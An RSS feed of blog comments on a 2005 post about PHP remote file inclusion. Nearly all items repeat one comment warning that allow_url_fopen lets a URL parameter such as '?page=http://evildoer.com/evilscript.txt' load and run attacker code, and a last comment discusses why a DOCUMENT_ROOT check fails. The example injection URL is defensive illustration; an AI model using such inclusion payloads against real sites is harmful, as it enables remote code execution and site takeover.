<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		xmlns:icbm="http://www.postneo.com/icbm/"
		>
<channel>
	<title>Comments on: Lessons in Web Security: PHP and Remote File Execution</title>
	<atom:link href="http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/feed/" rel="self" type="application/rss+xml" />
	<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/</link>
	<description>Web Technology and Real Life Merge</description>
	<lastBuildDate>Sat, 06 Mar 2010 03:27:38 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0-alpha</generator>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-236069</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-236069</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-230978</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-230978</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-238425</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-238425</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-233854</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-233854</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-241056</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-241056</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-240805</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-240805</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-243660</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-243660</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-243665</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 23:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-243665</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert Mathews</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-1007</link>
		<dc:creator>Robert Mathews</dc:creator>
		<pubDate>Wed, 07 Sep 2005 22:21:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-1007</guid>
		<description>Here&#039;s a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;
&lt;br /&gt;
I&#039;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And then they run it with something like &quot;http://www.example.com/index.php?page=page5.html&quot;.&lt;br /&gt;
&lt;br /&gt;
All it takes is someone to come along and type &quot;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&quot;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;
&lt;br /&gt;
Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;
&lt;br /&gt;
Rob</description>
		<content:encoded><![CDATA[<p>Here&#8217;s a simple example of why allow_url_fopen is a problem in the real world.</p>
<p>I&#8217;ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:</p>
<p>And then they run it with something like &#8220;http://www.example.com/index.php?page=page5.html&#8221;.</p>
<p>All it takes is someone to come along and type &#8220;http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt&#8221;, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers&#8230; whatever.</p>
<p>Moral: allow_url_fopen should *always* be off unless you need it.</p>
<p>Rob</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Aaron</title>
		<link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/comment-page-1/#comment-236068</link>
		<dc:creator>Aaron</dc:creator>
		<pubDate>Thu, 03 Feb 2005 14:30:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.technosailor.com/?p=397#comment-236068</guid>
		<description>Hey Matt,&lt;br /&gt;&lt;br&gt;Checking $_SERVER[Ã¢â‚¬â„¢DOCUMENT_ROOTÃ¢â‚¬â„¢] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Leave a Comment</description>
		<content:encoded><![CDATA[<p>Hey Matt,</p>
<p>Checking $_SERVER[Ã¢â‚¬â„¢DOCUMENT_ROOTÃ¢â‚¬â„¢] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)</p>
<p>Leave a Comment</p>
]]></content:encoded>
	</item>
</channel>
</rss>
